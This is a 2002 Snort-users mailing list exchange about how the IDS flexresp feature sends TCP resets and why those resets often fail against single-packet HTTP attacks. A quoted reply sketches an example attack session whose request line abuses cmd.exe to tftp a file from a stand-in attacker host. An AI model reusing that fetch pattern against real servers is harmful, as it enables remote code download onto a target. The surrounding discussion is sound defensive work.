[Snort-users] Snort+flexresp

Jeff Nathan jeff at ...950...
Mon Mar 25 16:50:44 EST 2002


Hi snortees,

I suppose it's time for a little tour of how flexresp is designed to
work.

First off, flexresp is not designed to reset new TCP connections to a
particular port outright.  It's actually designed to be employed with
signatures containing a *pattern* such that when a snort signature
matches a packet on the wire a response is generated.

With TCP, calculating ACK numbers is a function of acknowledging the
bytes already received by the IP stack as well as any TCP flags that
must be acknowledged and then incrementing the ACK number accordingly. 
With that said, flexresp won't properly generate a RST for a SYN to a
port, or at least it probably won't be accepted by a client IP stack
(though there's no accounting for broken IP stacks).  It's just not
designed to work that way.

When testing flexresp, your TCP based rules should trigger off packets
containing data and not part of the establishment or tearing down of a
session.

I hope this helps.

-Jeff


Bamm Visscher wrote:
> 
> I apologize for the confusion, I guess I should of elaborated more. I
> did not mean to imply content rules do not "work" with flex-resp. You
> can create any rule with any option and resp will "work". By "work", I
> mean the reset(s)/ICMP error messages will be created by snort and sent
> on the wire. The statement I was trying to make is how ineffective flex
> response rules can be when used on HTTP traffic. Take the following HTTP
> session as an example:
> 
> attacker:1025 -> target:80 S
> attacker:1025 <- target:80 SA
> attacker:1025 -> target:80 A
> attacker:1025 -> target:80 AP "GET blah/cmd.exe?tftp hax0r.net blah"
> attacker:1025 <- target:80 AP <HTML>200 Okay</HTML>
> attacker:1025 -> target:80 FA
> attacker:1025 <- target:80 A
> attacker:1025 -> target:80 FA
> attacker:1025 <- tartge:80 A
> 
> All the important content in this connection is contained in a single
> packet (as is often the case with HTTP). In order to effectively reset
> this connection, our reset packet has to reach the target box before the
> "GET" request. So, using a content based rule probably isn't going to
> prevent this attack from working. Matter of fact, try setting up a rule
> to reset all web surfing from your IP (alert tcp YOURIP any <> any 80
> (msg: "blocking web tfc"; resp:rst_all;)). Now see if you can surf the
> web. I tried this a while back with snort-1.8.1 and had no problems
> loading most pages. I tried the same thing later with snort-1.8.3 (major
> changes to flex-resp) and found that it could sometimes prevent the
> pages from loading, but not very often (IIRC. If your tests differ,
> please let me know, I have been known to make mistakes). This is no
> fault of snort, but a problem with the concept of flex-resp (tcp-reset,
> etc) and affects all IDSes that employ it.
> 
> With that said, I do use flex-resp in a short-term incident containment
> mode until long term fixes can be put in place. For example, once an
> intrusion has been identified, I will use flex-resp in an effort to
> prevent an attacker from doing further damage until the affected system
> can be taken off-line or a rule blocking the attacker can be placed in
> the FW/router. This often means sending a reset in response to any
> packet sent by the source. Another example is using flex-resp to help
> prevent the spread of a virus with a content based sigature in snort
> until the virus signatures on email scrubbers can be updated.
> 
> Using flex-resp eats resources, so take the time to find out just how
> different protocols work (HTTP, FTP, telnet, etc) and make sure any
> flex-resp rules you create, are going to be effective "against" them. If
> you want snort to take a more "active" role in preventing intrusions, I
> suggest you look into hogwash.
> 
> Bammkkkk



-- 
http://jeff.wwti.com            (pgp key available)
"Common sense is the collection of prejudices acquired by age eighteen."
- Albert Einstein




More information about the Snort-users mailing list